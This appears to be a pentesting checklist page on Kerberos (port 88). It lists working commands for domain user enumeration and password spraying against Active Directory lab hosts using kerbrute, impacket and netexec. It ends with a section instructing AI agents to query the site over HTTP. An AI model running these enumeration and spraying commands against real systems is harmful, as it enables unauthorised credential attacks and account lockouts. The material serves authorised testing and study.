# 88 - Kerberos

### Enumerate Kerberos Users

```bash
# Brute force usernames from Kerberos 
kerbrute userenum -d candy.LOCAL /usr/share/SecLists/Usernames/xato-net-10-million-usernames.txt --dc 10.10.10.100

# Give all users have Do not require Kerberos preauthentication
impacket-GetNPUsers candy.local/ -dc-ip 10.10.10.100

# Give all users have Do not require Kerberos preauthentication
nmap -sV --script krb5-enum-users --script-args krb5-enum-users.realm='candy.local',userdb='/usr/share/wordlist/userlist.txt' 10.10.10.100 -p88
```

### Kerberos Password Spraying

{% code overflow="wrap" %}

```bash
# Kerbrute will perform a horizontal brute force attack against a list of domain users. This is useful for testing one or two common passwords when you have a large list of users. WARNING: this does will increment the failed login count and lock out accounts.
kerbrute passwordspray -d lab.ponpor.com --dc 10.10.10.100 domain_users.txt Password123

# Password spray using SMB protocol with the users.txt
netexec smb toffee.bth -u Users.txt -p 'password1'

# Password spray using SMB protocol with the users.txt for domain users
netexec smb 10.10.10.100 -d toffee.bth -u Users.txt -p 'password1' --continue-on-success

# Password spray using SMB protocol with the users.txt for non domain users
netexec smb 10.10.10.0/24 -u Users.txt -p 'password1' --continue-on-success
```

{% endcode %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://gokulkarthik.gitbook.io/pentesting-checklist/windows-and-active-directory/protocol-enumeration/88-kerberos.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
